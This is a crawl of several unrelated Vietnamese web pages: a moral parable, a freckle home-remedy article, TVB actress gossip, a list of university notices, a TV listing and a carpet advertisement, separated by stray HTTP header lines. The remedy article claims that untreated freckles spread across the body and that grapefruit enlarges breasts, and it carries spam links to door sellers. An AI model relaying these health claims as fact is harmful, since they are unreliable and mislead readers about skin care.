Một người lựa chọn dùng thái độ như thế nào để đối mặt với cuộc đời, đối mặt với chính bản thân mình thì sẽ quyết định bản thân người đó trở thành người như thế ấy. Sinh mệnh chính là một quá trình tích lũy lâu dài và liên tục. Hãy lựa chọn cho mình một con đường ngay chính và kiên trì với nó, bạn nhất định sẽ bình an đi được đến đích!
Đăng nhận xét

markdown:
Đường đời lắm gian truân khúc khuỷu, con người nhiều khi vì muốn đạt được mục đích mà sử dụng cách thức chẳng thẳng ngay. Nhưng rốt cuộc, chỉ con đường ngay chính, mới là con đường duy nhất bình an.
Gia đình tôi sống trong một ngôi nhà nằm sâu trong một ngọn núi cao. Để đi ra bên ngoài, chúng tôi phải đi qua một con đường núi uốn lượn và gập ghềnh. Người dân trong làng, nhà nhà đều dựa vào hái măng đem bán để kiếm sống. Cứ đến ngày chợ phiên, người lớn, trẻ em ở trong làng đều địu măng, băng qua con đường uốn lượn, gập ghềnh đó để đến chợ bán.
Người dân làng tôi mỗi lần xuống núi đều phải đi qua con đường vừa xa vừa uốn lợn như vậy. Nhưng về sau này, một vài người vì để chiếm được một vị trí tốt, dễ bán hàng ở chợ nên họ liền mở ra một con đường tắt, gần hơn, nhưng độ nguy hiểm thì cao hơn. Biết là nguy hiểm hơn nhưng vẫn có nhiều người nguyện ý chọn đi con đường này.
Cha tôi cũng giống mọi người dân trong làng, cứ mỗi phiên chợ, ông đều địu măng đi bán. Nhưng cha tôi chưa từng đi qua con đường tắt ấy. Mỗi đợt nghỉ hè, tôi lại về quê lên rừng hái măng và đem ra chợ bán cùng cha. Mồi lần đi trên con đường uốn lượn ấy, trong lòng tôi lại dâng lên nhiều cảm xúc.
Về sau, tôi thường xuyên khuyên nhủ cha:
*“Cha ơi! Chúng ta cũng đi con đường tắt kia đi, chẳng phải sẽ nhanh hơn một chút hay sao?”.*
Nhưng cha tôi nghe xong vội vàng lắc đầu, kiên quyết đi con đường cũ. Cứ như vậy, mỗi lần đến chợ chúng tôi đều không tìm được chỗ tốt, những chỗ dễ bán hàng đều bị những người đồng hương đi con đường tắt ngồi mất rồi. Măng của cha con tôi thường bán hết muộn hơn so với mọi người, vì thế, tôi thường sinh ra tâm trách móc.
Cha tôi cơ bản không để ý đến nỗi oán hận trong lòng tôi và cũng từ đó, câu hỏi
*“vì sao không đi đường tắt, mà cứ phải đi con đường uốn lượn xa tít như vậy?”*đã trở thành chỗ khó lý giải nhất trong lòng tôi…
Nhiều năm sau, tôi sinh sống ở thành phố, cách quê tôi hơn ngàn dặm, vì thế tôi đón cha tôi lên ở cùng. Ngày đi, cha tôi không ngồi trên xe, khăng khăng đòi đi bộ trên con đường uốn lượn ngoằn ngoèo ấy. Tôi đành xuống đi bộ cùng cha, cũng muốn nhân cơ hội này cởi bỏ khúc mắc ở trong lòng nhiều năm qua.
Tôi hỏi cha tôi:
*“Cha! Con luôn muốn biết, vì sao cha luôn muốn đi trên con đường này, mà chưa từng đi trên con đường tắt kia?”.*
Cha nghe xong câu hỏi của tôi, lặng im đứng thật lâu và đưa ánh mắt nhìn về phía trước con đường. Bất chợt nước mắt cha chảy dài trên má, rồi cha nói:
*“Con trai! Bởi vì cha nhất định phải bảo trì sự bình an. Cha dựa vào bán măng để nuôi con khôn lớn và học hành thành tài, mấy chục năm qua, cha luôn bình an vô sự.* *Mấy bác mấy chú của con đều đi đường tắt, nhưng con thấy đấy, bác Vương bị ngã gãy tay hai lần, măng không biết rơi mất đi bao nhiêu lần, anh Tư bị nặng nhất, một lần ngã lăn xuống núi rồi qua đời…Những người đi con đường tắt ấy, nào có mấy ai thực sự được bình an vô sự đâu!”.*
Những lời nói này của cha khiến tôi trầm tư suy nghĩ:
*“Đúng vậy! Những người đồng hương đi trên con đường tắt ấy, hoặc ít hoặc nhiều đều gặp nguy hiểm!”.* ![ http://tinhhoa.net/wpcontent/uploads/2014/08/BcKCN8.jpg](file:///C:\Users\tuyen\AppData\Local\Temp\msohtmlclip1\01\clip_image001.jpg)
![ http://tinhhoa.net/wpcontent/uploads/2014/08/BcKCN8.jpg](file:///C:\Users\tuyen\AppData\Local\Temp\msohtmlclip1\01\clip_image001.jpg)
Cha kéo tôi ngồi xuống bên đường, giọng cha trầm lại nói với tôi:
*“Con đường này uốn lượn khúc khuỷu nhưng vĩnh viễn là con đường chính xuống núi. Không thể vì một chút lợi ích nhỏ nhoi mà buông bỏ con đường chính của mình. Con đường này là con đường bình an, đi trên con đường này, cả đời sẽ bình an. Con trai! Điểm này con phải khắc sâu trong tim, cha hy vọng nó sẽ chỉ cho con một con đường!”.*
Những lời nói của cha đã khiến tôi xúc động. Từ con đường gập ghềnh ấy, tôi cũng hiểu được rất nhiều đạo lý của cuộc đời.
Đường đời cũng tựa như con đường núi này, phải trải qua rất nhiều gập ghềnh khúc khuỷu, nhưng phương hướng thì không thể sai. Mỗi người đều phải thủy chung đi trên con đường ngay chính, chỉ có đi trên con đường ngay chính thì cuộc đời mới bình an. Con đường này cũng sẽ vì chúng ta đi qua mà hiển lộ ra giá trị của nó, giá trị này cũng chính là giá trị của cuộc đời chúng ta.
![ http://tinhhoa.net/wpcontent/uploads/2014/08/BcKCN8.jpg](file:///C:\Users\tuyen\AppData\Local\Temp\msohtmlclip1\01\clip_image001.jpg)
![ http://tinhhoa.net/wpcontent/uploads/2014/08/BcKCN8.jpg](file:///C:\Users\tuyen\AppData\Local\Temp\msohtmlclip1\01\clip_image001.jpg)
Từng có người hỏi nữ văn sĩ, nhà hoạt động xã hội, diễn giả người Mỹ bị mù, câm và điếc Helen Keller rằng:
*“Bà có thể nhìn thấy thế giới này không?”.*
Bà Helen Keller trả lời rằng:
*“Tôi đương nhiên có thể nhìn thấy… Mọi người là dùng con mắt để nhìn, cho nên có thể nhìn thấy thế giới do con người sáng tạo ra. Còn tôi là dùng trái tim để nhìn, cho nên thế giới mà tôi nhìn thấy là do Thượng Đế sáng tạo nên”.*
Một người lựa chọn dùng thái độ như thế nào để đối mặt với cuộc đời, đối mặt với chính bản thân mình thì sẽ quyết định bản thân người đó trở thành người như thế ấy. Sinh mệnh chính là một quá trình tích lũy lâu dài và liên tục. Hãy lựa chọn cho mình một con đường ngay chính và kiên trì với nó, bạn nhất định sẽ bình an đi được đến đích!
## Đăng nhận xét

Server: GSE

X-Content-Type-Options: nosniff

Cache-Control: private, max-age=0

X-XSS-Protection: 1; mode=block

Content-Type: text/html; charset=UTF-8


text:
Cách trị tàn nhang nhanh nhất tại nhà bằng trái đào
Trong trái đào có chứa nguồn vitamin A, C rất phong phú và dồi dào không những giúp da mịn, săn chắc mà còn là một cách trị tàn nhang nhanh nhất tại nhà được Phái Đẹp truyền tay nhau.
( xem thêm : nhôm cửa xingfa )
Để thực hiện cách trị tàn nhang nhanh nhất tại nhà này, bạn chỉ cần thực hiện như sau: xay nhuyễn phần thịt quả đào trộn với nửa hộp sữa chua. Bạn rửa sạch mặt và đắp hỗn hợp này lên da khoảng 20 phút sau đó rửa sạch mặt với nước.
Cách trị tàn nhang hiệu quả tại nhà bằng bưởi
Với nhiều chị em phụ nữ, bưởi có tác dụng nổi bật trong việc kích thích tăng trưởng vòng 1, tuy nhiên loại trái cây này còn được biết đến như một “bí quyết” trị tàn nhang hiệu quả tại nhà. Trong vỏ quả bưởi, ngoài tinh dầu còn chứa pectin, naringin, các men peroxydaza, amylaza, đường ramnoza, vitamin A, C, hesperidin… có tác dụng ức chế hắc tố melamin, giúp làm mờ các nốt tàn nhang hiệu quả.
Để thực hiện cách trị tàn nhang hiệu quả tại nhà này, bạn chỉ cần lấy bỏ bưởi, xắt thành miếng nhỏ, đổ dầu ô liu vào ngập vỏ bưởi, cho lên bếp đun. Khi dầu ấm thì đổ thêm nước sạch vào nồi, đậy vung. Để lửa thật nhỏ từ 4-5 giờ, sau đó lọc bỏ bã. Phần dầu bưởi cho vào lọ thủy tinh đậy kín, để ở nơi khô mát. Dầu này có thể sử dụng dần trong 6 tháng. Hàng ngày bạn lấy ½ thìa dầu bưởi thoa lên vùng da bị tàn nhang, để 30 phút sau đó rửa sạch.
Cách trị nám, tàn nhang tại nhà bằng bột đậu đỏ
Trong bột đậu đỏ chứa nhiều vitamin B, các khoáng chất chống oxy hóa nên có khả năng cũng cấp các dưỡng chất nuôi dưỡng da khỏe mạnh, ngăn ngừa nám, tàn nhang.
( xem thêm : cung cấp nhôm cửa xingfa cao cấp )
Để loại bỏ nám, tàn nhang trên mặt, bạn lấy 2-3 thìa bột đậu đỏ trộn đều với 1 thìa sữa tươi, 2-3 giọt nước cốt chanh và trộn đều để được hỗn hợp sền sệt. Sau khi rửa mặt, đắp hỗn hợp lên mặt trong 20 phút rồi rửa lại bằng nước sạch.
Mẹo trị tàn nhang hiệu quả tại nhà từ cà rốt
+ 1 củ cà rốt
+ 2 thìa dầu oliu
Cách trị tàn nhang hiệu quả nhất tại nhà từ nguyên liệu này thực hiện như sau: Bạn đem rửa thật sạch củ cà rốt rồi nghiền thật nhuyễn để lấy nước ép nguyên chất. Sau đó, bạn nhẹ nhàng đắp đều lên da mặt cho đến khi nước ép khô lại thì bạn lấy dầu oliu thấm đều lên vùng da cần chữa tàn nhang.
( xem thêm : http://muabaninoxnhom.vn/ )
Tiếp tục để mặt nạ này khô lại thì dùng sữa rửa mặt để rửa thật sạch mặt của mình. Kiên trì áp dụng 3 lần trong vòng 2 tháng liên tiếp để có được kết quả xóa tàn nhang cao nhất.
Mẹo trị tàn nhang hiệu quả tại nhà với kiwi
Trong quả kiwi có chứa hàm lượng lớn các loại vitamin A, B, C, D, các nguyên tố vi lượng, khoáng chất, canxi, photpho, kẽm và chất chống oxy hóa… Bởi vậy kiwi giúp tái tạo tế bào da, thúc đẩy sự sản sinh collagen giúp ngăn ngừa lão hóa, loại bỏ tàn nhang, đem đến làn da hồng hào, mềm mại.
Kiwi rửa sạch, sau đó cắt lát mỏng và đắp trực tiếp lên các vết tàn nhang trên mặt. Thư giãn 30 phút cho dưỡng chất từ kiwi thấm dần vào da, sau đó rửa sạch lại với nước. Thực hiện 2-3 lần/tuần để đạt được hiệu quả mong muốn.
0 nhận xét:
Đăng nhận xét

markdown:
**tàn nhang**là một trong những dấu hiệu cho thấy da bạn đang bị tác động bởi ánh nắng mặt trời, hoặc cũng có thể là dấu hiệu lão hóa,…Đó là một kẻ thù thầm lặng cướp đi niềm vui và sự tự tin của nhiều chị em, khiến chị em luôn trong trạng thái hoang mang lo sợ. Tàn nhang nếu không được điều trị kịp thời sẽ nhanh chóng lây lan và xâm lấn gần hết bề mặt da trên cơ thể bạn. Chính vì thế mà việc **rất quan trọng đối với các chị em phụ nữ. Hãy cùng chúng tôi tìm hiểu bài viết dưới đây để khám phá những cách điều trị tàn nhang nhanh chóng hiệu quả cho chị em phụ nữ từ thiên nhiên nhé** [điều trị tàn nhang](http://www.xoatannhang.com/2017/06/kham-pha-cach-ieu-tri-tan-nhang-on-gian.html) __Cách trị tàn nhang nhanh nhất tại nhà bằng trái đào__
Trong trái đào có chứa nguồn vitamin A, C rất phong phú và dồi dào không những giúp da mịn, săn chắc mà còn là một cách trị tàn nhang nhanh nhất tại nhà được Phái Đẹp truyền tay nhau.
( xem thêm :
**)** [nhôm cửa xingfa](http://muabaninoxnhom.vn/San-pham/CUA-NHOM-XINGFA-55-OLYMPICO-ad444.html)
Để thực hiện
**cách trị tàn nhang nhanh nhất**tại nhà này, bạn chỉ cần thực hiện như sau: xay nhuyễn phần thịt quả đào trộn với nửa hộp sữa chua. Bạn rửa sạch mặt và đắp hỗn hợp này lên da khoảng 20 phút sau đó rửa sạch mặt với nước. __Cách trị tàn nhang hiệu quả tại nhà bằng bưởi__
Với nhiều chị em phụ nữ, bưởi có tác dụng nổi bật trong việc kích thích tăng trưởng vòng 1, tuy nhiên loại trái cây này còn được biết đến như một “bí quyết”
**trị tàn nhang hiệu quả tại nh**à. Trong vỏ quả bưởi, ngoài tinh dầu còn chứa pectin, naringin, các men peroxydaza, amylaza, đường ramnoza, vitamin A, C, hesperidin… có tác dụng ức chế hắc tố melamin, giúp làm mờ các nốt tàn nhang hiệu quả.
Để thực hiện
**tại nhà này, bạn chỉ cần lấy bỏ bưởi, xắt thành miếng nhỏ, đổ dầu ô liu vào ngập vỏ bưởi, cho lên bếp đun. Khi dầu ấm thì đổ thêm nước sạch vào nồi, đậy vung. Để lửa thật nhỏ từ 4-5 giờ, sau đó lọc bỏ bã. Phần dầu bưởi cho vào lọ thủy tinh đậy kín, để ở nơi khô mát. Dầu này có thể sử dụng dần trong 6 tháng. Hàng ngày bạn lấy ½ thìa dầu bưởi thoa lên vùng da bị tàn nhang, để 30 phút sau đó rửa sạch.** [cách trị tàn nhang hiệu quả](http://www.xoatannhang.com/2017/06/nhung-cach-ieu-tri-tan-nhang-cuc-ki.html) __Cách trị nám, tàn nhang tại nhà bằng bột đậu đỏ__
Trong bột đậu đỏ chứa nhiều vitamin B, các khoáng chất chống oxy hóa nên có khả năng cũng cấp các dưỡng chất nuôi dưỡng da khỏe mạnh, ngăn ngừa nám, tàn nhang.
( xem thêm :
**)** [cung cấp nhôm cửa xingfa cao cấp](http://muabaninoxnhom.vn/San-pham/CUA-NHOM-XINGFA-55-OLYMPICO-ad444.html)
Để loại bỏ nám, tàn nhang trên mặt, bạn lấy 2-3 thìa bột đậu đỏ trộn đều với 1 thìa sữa tươi, 2-3 giọt nước cốt chanh và trộn đều để được hỗn hợp sền sệt. Sau khi rửa mặt, đắp hỗn hợp lên mặt trong 20 phút rồi rửa lại bằng nước sạch.
__Mẹo trị tàn nhang hiệu quả tại nhà từ cà rốt__
+ 1 củ cà rốt
+ 2 thìa dầu oliu
Cách trị tàn nhang hiệu quả nhất tại nhà từ nguyên liệu này thực hiện như sau: Bạn đem rửa thật sạch củ cà rốt rồi nghiền thật nhuyễn để lấy nước ép nguyên chất. Sau đó, bạn nhẹ nhàng đắp đều lên da mặt cho đến khi nước ép khô lại thì bạn lấy dầu oliu thấm đều lên vùng da cần chữa tàn nhang.
( xem thêm :
**)** [http://muabaninoxnhom.vn/](http://muabaninoxnhom.vn/)
Tiếp tục để mặt nạ này khô lại thì dùng sữa rửa mặt để rửa thật sạch mặt của mình. Kiên trì áp dụng 3 lần trong vòng 2 tháng liên tiếp để có được kết quả xóa tàn nhang cao nhất.
__Mẹo trị tàn nhang hiệu quả tại nhà với kiwi__
Trong quả kiwi có chứa hàm lượng lớn các loại vitamin A, B, C, D, các nguyên tố vi lượng, khoáng chất, canxi, photpho, kẽm và chất chống oxy hóa… Bởi vậy kiwi giúp tái tạo tế bào da, thúc đẩy sự sản sinh collagen giúp ngăn ngừa lão hóa, loại bỏ tàn nhang, đem đến làn da hồng hào, mềm mại.
Kiwi rửa sạch, sau đó cắt lát mỏng và đắp trực tiếp lên các vết tàn nhang trên mặt. Thư giãn 30 phút cho dưỡng chất từ kiwi thấm dần vào da, sau đó rửa sạch lại với nước. Thực hiện 2-3 lần/tuần để đạt được hiệu quả mong muốn.
## 0 nhận xét:
## Đăng nhận xét


text:
Mặc dù TVB đã cố gắng mời rất nhiều diễn viên gạo cội quay về đài, nhưng dường như không phải tất cả họ đều thành công và nhận được chào đón nhiệt tình từ phía khán giả.
Không giống Âu Dương Chấn Hoa và Quan Vịnh Hà, 2 diễn viên đã được giới truyền thông quan tâm và đưa tin liên tục từ khi bắt đầu Tình Nghịch Tam Thế Duyên. Hay là quý ông Ngô Trấn Vũ với sự trở lại đầy thành công cùng Bao La Vùng Trời 2. Châu Hải My quay trở lại TVB trong thầm lặng và bị bỏ quên trong các sự kiện quảng bá phim Thần Thương Thư Kích. Thậm chí, trong bộ phim này, vai trò của cô còn không bằng Từ Tử San, nữ diễn viên đang được TVB lăng xê.
Mặc dù bị Dương Di đánh bại trong cuộc chiến giành ngôi vị Thị Hậu vào năm ngoái, nhưng Từ Tử San lại được TVB đền bù bằng cách đẩy mạnh danh tiếng của cô trong năm nay. Cũng vì kế hoạch này mà Từ Tử San trở thành một trong hai nữ diễn viên chính của Thần Thương Thư Kích, thậm chí là nổi bật vượt qua cả Châu Hải My trong những sự kiện quảng bá phim.
Vai diễn của Châu Hải My trong kịch bản gốc là cô gái vị vướng vào mối quan hệ tay ba cùng 2 chàng diễn viên nổi tiếng là Trương Triệu Huy và Tạ Thiên Hoa. Tuy nhiên, vì sự ưu ái quá rõ ràng của TVB đối với Từ Tử San mà có nhiều tin đồn cả 2 nữ diễn viên xinh đẹp này đều không hề có thiện cảm với nhau.
Kể từ khi nhận giải Diễn Viên Mới Xuất Sắc Nhất trong giải Kim Tượng năm 2008, Từ Tử San đã được mọi người coi là ứng cử viên sáng giá cho vị trí Thị Hậu của TVB. Ban điều hành của TVB cũng đã cho cô cơ hội cho cô khi để Từ Tử San đảm nhận vai diễn nặng ký trong Thần Thương Thư Kích. Và rõ ràng, từ vai nữ chính quan trọng nhất trong kịch bản, Châu Hải My lại đảm nhiệm vai trò quan trọng thứ 2 trong bộ phim.
Mặc dù Châu Hải My đã phản bác tin đồn này, nhưng rõ ràng cô đang rất thất vọng với cách sắp xếp của TVB. Như việc cô quay về Bắc Kinh ngay khi tham gia buổi quảng bá cho bộ phim. Cách đây vài ngày, Từ Tử San cũng đã lên tiếng để phản bác những tin đồn tiêu cực này: "Dĩ nhiên là không phải thế rồi. Tôi không hề quan tâm đến thời gian mình xuất hiện trên màn ảnh, miễn sao tôi có thể khai thác được tiềm năng của mình. Được làm việc với chị Châu Hải My là một cơ hội rất hiếm có."
Xem thêm thông tin và hình ảnh về diễn viên Châu Hải My tại dienanh.net

markdown:
**Mặc dù TVB đã cố gắng mời rất nhiều diễn viên gạo cội quay về đài, nhưng dường như không phải tất cả họ đều thành công và nhận được chào đón nhiệt tình từ phía khán giả.**
Không giống
**Âu Dương Chấn Hoa** và **Quan Vịnh Hà**, 2 diễn viên đã được giới truyền thông quan tâm và đưa tin liên tục từ khi bắt đầu [. Hay là quý ông Tình Nghịch Tam Thế Duyên](http://forum.dienanh.net/showthread.php/7489) **Ngô Trấn Vũ**với sự trở lại đầy thành công cùng [.](http://forum.dienanh.net/showthread.php/61907) *Bao La Vùng Trời 2* **Châu Hải My**quay trở lại TVB trong thầm lặng và bị bỏ quên trong các sự kiện quảng bá phim [. Thậm chí, trong bộ phim này, vai trò của cô còn không bằng](http://forum.dienanh.net/showthread.php/8106) *Thần Thương Thư Kích* **Từ Tử San**, nữ diễn viên đang được TVB lăng xê.
Mặc dù bị
**Dương Di **đánh bại trong cuộc chiến giành ngôi vị Thị Hậu vào năm ngoái, nhưng **Từ Tử San** lại được TVB đền bù bằng cách đẩy mạnh danh tiếng của cô trong năm nay. Cũng vì kế hoạch này mà **Từ Tử San** trở thành một trong hai nữ diễn viên chính của [, thậm chí là nổi bật vượt qua cả Thần Thương Thư Kích](http://forum.dienanh.net/showthread.php/8106) **Châu Hải My**trong những sự kiện quảng bá phim.
Vai diễn của
**Châu Hải My** trong kịch bản gốc là cô gái vị vướng vào mối quan hệ tay ba cùng 2 chàng diễn viên nổi tiếng là **Trương Triệu Huy** và **Tạ Thiên Hoa**. Tuy nhiên, vì sự ưu ái quá rõ ràng của TVB đối với **Từ Tử San** mà có nhiều tin đồn cả 2 nữ diễn viên xinh đẹp này đều không hề có thiện cảm với nhau.
Kể từ khi nhận giải Diễn Viên Mới Xuất Sắc Nhất trong giải Kim Tượng năm 2008,
**Từ Tử San **đã được mọi người coi là ứng cử viên sáng giá cho vị trí Thị Hậu của TVB. Ban điều hành của TVB cũng đã cho cô cơ hội cho cô khi để **Từ Tử San** đảm nhận vai diễn nặng ký trong [. Và rõ ràng, từ vai nữ chính quan trọng nhất trong kịch bản, Thần Thương Thư Kích](http://forum.dienanh.net/showthread.php/8106) **Châu Hải My**lại đảm nhiệm vai trò quan trọng thứ 2 trong bộ phim.
Mặc dù
**Châu Hải My** đã phản bác tin đồn này, nhưng rõ ràng cô đang rất thất vọng với cách sắp xếp của TVB. Như việc cô quay về Bắc Kinh ngay khi tham gia buổi quảng bá cho bộ phim. Cách đây vài ngày, **Từ Tử San** cũng đã lên tiếng để phản bác những tin đồn tiêu cực này: " *Dĩ nhiên là không phải thế rồi. Tôi không hề quan tâm đến thời gian mình xuất hiện trên màn ảnh, miễn sao tôi có thể khai thác được tiềm năng của mình. Được làm việc với chị Châu Hải My là một cơ hội rất hiếm có.*"
Xem thêm thông tin và hình ảnh về diễn viên
[ tại dienanh.net Châu Hải My](http://forum.dienanh.net/showthread.php/3835-aaas-Kathy-Chow-Chau-Hai-My#.Ujgqoz_2JGM) ![](http://s1.img.yan.vn/yanimages/call_to_like_article_02.png)

Server: nginx

Vary: Accept-Encoding


text:
TB Kq Tham Dinh xếp PCTN nha giao 11-2015
Nội dung khác
- Thông báo số 646/TB-HCQG về việc đăng ký dự thi thăng hạng viên chức chuyên ngành khoa học và công nghệ năm 2017
- Thông báo số 607/TB-HCQG V/v giải quyết chế độ nghỉ phép và nghỉ hè năm 2017
- Quyết định số 2368/QĐ-HCQG V/v ban hành Quy định về định mức thực hiện nhiệm vụ giảng dạy và nghiên cứu khoa học của giảng viên
- Thông báo số 02/TB-HĐTL về việc trúng thầu tài sản thanh lý
- Thông báo số 562/Tb-HCQG V/v thông báo kết quả lựa chọn nhà thầu gói thầu: Cung cấp vật tư, văn phòng phẩm quý 3, quý 4 năm 2017 cho Học viện Hành chính Quốc gia tại Hà Nội
- Thông báo số 493/TB-HCQG V/v thông báo kết quả lựa chọn nhà thầu gói thầu: Cung cấp và lắp đặt hệ thống âm thanh phòng họp 403 nhà A năm 2017
- Kết quả đánh giá trình độ tiếng Anh tương đương B1 khung chuẩn Châu Âu đợt IV năm 2017 (tại Học viện Hành chính Quốc gia, phân viện khu vực Tây Nguyên)
- Hướng dẫn số 515/HD-HCQG V/v triển khai rà soát, bổ sung quy hoạch cán bộ lãnh đạo, quản lý thuộc Học viện Hành chính Quốc gia, nhiệm kỳ 2016-2021
- Thông báo số 490/TB-HCQG V/v Chiêu sinh lớp đào tạo cơ bản về tư duy khoa học hệ thống và áp dụng tổng thể hệ thống quản lý tiên tiến Malik vào công tác quản lý, lãnh đạo
- Công văn số 158-CV/ĐUHV về việc góp ý vào Dự thảo báo cáo sơ kết công tác Đảng 6 tháng đầu năm 2017 của Đảng bộ Học viện

markdown:
[TB Kq Tham Dinh xếp PCTN nha giao 11-2015](http://www1.napa.vn/wp-content/uploads/2015/11/TB-Kq-Tham-Dinh-xếp-PCTN-nha-giao-11-2015.xls)
## Nội dung khác
[Thông báo số 646/TB-HCQG về việc đăng ký dự thi thăng hạng viên chức chuyên ngành khoa học và công nghệ năm 2017](http://www1.napa.vn/blog/thong-bao-so-646tb-hcqg-ve-viec-dang-ky-du-thi-thang-hang-vien-chuc-chuyen-nganh-khoa-hoc-va-cong-nghe-nam-2017.htm) [Thông báo số 607/TB-HCQG V/v giải quyết chế độ nghỉ phép và nghỉ hè năm 2017](http://www1.napa.vn/blog/thong-bao-so-607tb-hcqg-vv-giai-quyet-che-do-nghi-phep-va-nghi-he-nam-2017.htm) [Quyết định số 2368/QĐ-HCQG V/v ban hành Quy định về định mức thực hiện nhiệm vụ giảng dạy và nghiên cứu khoa học của giảng viên](http://www1.napa.vn/blog/quyet-dinh-so-2368qd-hcqg-vv-ban-hanh-quy-dinh-ve-dinh-muc-thuc-hien-nhiem-vu-giang-day-va-nghien-cuu-khoa-hoc-cua-giang-vien.htm) [Thông báo số 02/TB-HĐTL về việc trúng thầu tài sản thanh lý](http://www1.napa.vn/blog/thong-bao-so-02tb-hdtl-ve-viec-trung-thau-tai-san-thanh-ly.htm) [Thông báo số 562/Tb-HCQG V/v thông báo kết quả lựa chọn nhà thầu gói thầu: Cung cấp vật tư, văn phòng phẩm quý 3, quý 4 năm 2017 cho Học viện Hành chính Quốc gia tại Hà Nội](http://www1.napa.vn/blog/thong-bao-so-562tb-hcqg-vv-thong-bao-ket-qua-lua-chon-nha-thau-goi-thau-cung-cap-vat-tu-van-phong-pham-quy-3-quy-4-nam-2017-cho-hoc-vien-hanh-chinh-quoc-gia-tai-ha-noi.htm) [Thông báo số 493/TB-HCQG V/v thông báo kết quả lựa chọn nhà thầu gói thầu: Cung cấp và lắp đặt hệ thống âm thanh phòng họp 403 nhà A năm 2017](http://www1.napa.vn/blog/thong-bao-so-493tb-hcqg-vv-thong-bao-ket-qua-lua-chon-nha-thau-goi-thau-cung-cap-va-lap-dat-he-thong-am-thanh-phong-hop-403-nha-a-nam-2017.htm) [Kết quả đánh giá trình độ tiếng Anh tương đương B1 khung chuẩn Châu Âu đợt IV năm 2017 (tại Học viện Hành chính Quốc gia, phân viện khu vực Tây Nguyên)](http://www1.napa.vn/blog/ket-qua-danh-gia-trinh-do-tieng-anh-tuong-duong-b1-khung-chuan-chau-au-dot-iv-nam-2017-tai-hoc-vien-hanh-chinh-quoc-gia-phan-vien-khu-vuc-tay-nguyen.htm) [Hướng dẫn số 515/HD-HCQG V/v triển khai rà soát, bổ sung quy hoạch cán bộ lãnh đạo, quản lý thuộc Học viện Hành chính Quốc gia, nhiệm kỳ 2016-2021](http://www1.napa.vn/blog/huong-dan-so-515hd-hcqg-vv-trien-khai-ra-soat-bo-sung-quy-hoach-can-bo-lanh-dao-quan-ly-thuoc-hoc-vien-hanh-chinh-quoc-gia-nhiem-ky-2016-2021.htm) [Thông báo số 490/TB-HCQG V/v Chiêu sinh lớp đào tạo cơ bản về tư duy khoa học hệ thống và áp dụng tổng thể hệ thống quản lý tiên tiến Malik vào công tác quản lý, lãnh đạo](http://www1.napa.vn/blog/thong-bao-so-490tb-hcqg-vv-chieu-sinh-lop-dao-tao-co-ban-ve-tu-duy-khoa-hoc-he-thong-va-ap-dung-tong-the-he-thong-quan-ly-tien-tien-malik-vao-cong-tac-quan-ly-lanh-dao.htm) [Công văn số 158-CV/ĐUHV về việc góp ý vào Dự thảo báo cáo sơ kết công tác Đảng 6 tháng đầu năm 2017 của Đảng bộ Học viện](http://www1.napa.vn/blog/cong-van-so-158-cvduhv-ve-viec-gop-y-vao-du-thao-bao-cao-so-ket-cong-tac-dang-6-thang-dau-nam-2017-cua-dang-bo-hoc-vien.htm)

WARC-Truncated: length

WARC-Identified-Payload-Type: text/html


text:
-
Trọn bộ
Nơi Ẩn Nấp Bình YênTrọn bộ | HD
-
Trọn bộ
Nơi Ẩn Nấp Bình YênNơi Ẩn Nấp Bình YênTrọn bộ | HD
-
Trọn bộ
Nơi Ẩn Nấp Bình Yên Thuyết minh Lồng tiếng Full HDViệt NamTrọn bộ | HD
-
Trọn bộ
Nơi Ẩn Nấp Bình Yên Kênh trên TVVTV Trọn BộTrọn bộ | HD
-
Trọn bộ
Nơi Ẩn Nấp Bình Yên Kênh trên TV Full Tập Vietsub Lồng tiếngVtv6Trọn bộ | HD

markdown:
-
Trọn bộ
### Nơi Ẩn Nấp Bình YênTrọn bộ | HD
-
Trọn bộ
### Nơi Ẩn Nấp Bình YênNơi Ẩn Nấp Bình YênTrọn bộ | HD
-
Trọn bộ
### Nơi Ẩn Nấp Bình Yên Thuyết minh Lồng tiếng Full HDViệt NamTrọn bộ | HD
-
Trọn bộ
### Nơi Ẩn Nấp Bình Yên Kênh trên TVVTV Trọn BộTrọn bộ | HD
-
Trọn bộ
### Nơi Ẩn Nấp Bình Yên Kênh trên TV Full Tập Vietsub Lồng tiếngVtv6Trọn bộ | HD

Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0


text:
Chưa được phân loại
Mua thảm trải sàn tại Vĩnh Phúc
Hiện nay ở Vĩnh Phúc đã có đại lý chi nhánh của Yên Thái, có đầy đủ các loại thảm trải sàn chất lượng tốt giúp khách hàng tiết kiệm thời gian và chi phí khi mua hàng.
Những sản phẩm thảm trải sàn của Yên Thái ở Vĩnh Phúc rất đa dạng và phong phú về mẫu mã, kiểu dáng, họa tiết, hoa văn và có những màu sắc đẹp đẽ, ấn tượng.
Chất liệu thảm trải sàn của Yên Thái đảm bảo làm hài lòng quý khách hàng, giữ vững uy tín của thương hiệu.
Bên cạnh đó dịch vụ của chúng tôi tại Vĩnh Phúc rất được tín nhiệm nhờ vào đội ngũ tư vấn và chăm sóc khách hàng nhiệt tình, chu đáo, chúng tôi sẽ hướng dẫn và giải thích tỉ mỉ về các loại thảm trải sàn cho quý khách hàng.
Chúng tôi có những mẫu thảm trải sàn có thể dùng làm thảm trải văn phòng tiện lợi, thảm trải khách sạn sang trọng và tinh tế, thảm trải hội trường chống ồn tuyệt đối hay những tấm thảm trải dành cho gia đình, làm tôn lên nét đẹp và tạo không gian thoải mái, dễ chịu cho căn nhà.
Thảm trải sàn của Yên Thái tại Vĩnh Phúc đáp ứng được yêu cầu về tính thẩm mỹ lẫn yêu cầu chất lượng tốt, giữ ấm, chống ồn,….
Ngoài ra chúng tôi có những sản phẩm với chất liệu chống cháy, chống tĩnh điện rất an toàn và thoải mái, quý khách có thể ghé thăm và tham khảo chi tiết.
Các sản phẩm thảm trải sàn của Yên Thái tại Vĩnh Phúc được chúng tôi cam kết về chất lượng, hình thức và giá cả đã có mặt tai :
Thành phố Vĩnh Yên
Huyện Tam Dương
Huyện Lập Thạch
Huyện Vĩnh Tường
Huyện Yên Lạc
Huyện Bình Xuyên
Huyện Mê Linh
Thị xã Phúc Yên
Huyện Tam Đảo
Liên hệ với công ty chúng tôi theo địa chỉ sau:
SỐ 31, NGÕ 59 LÁNG HẠ, P.THÀNH CÔNG, Q.BA ĐÌNH, HÀ NỘI
PHONE: 04. 3 6420 080
HOTLINE: 0902 238 811 – 0983 080 201
EMAIL: contact@yenthai.vn
SKYPE: son.buicao
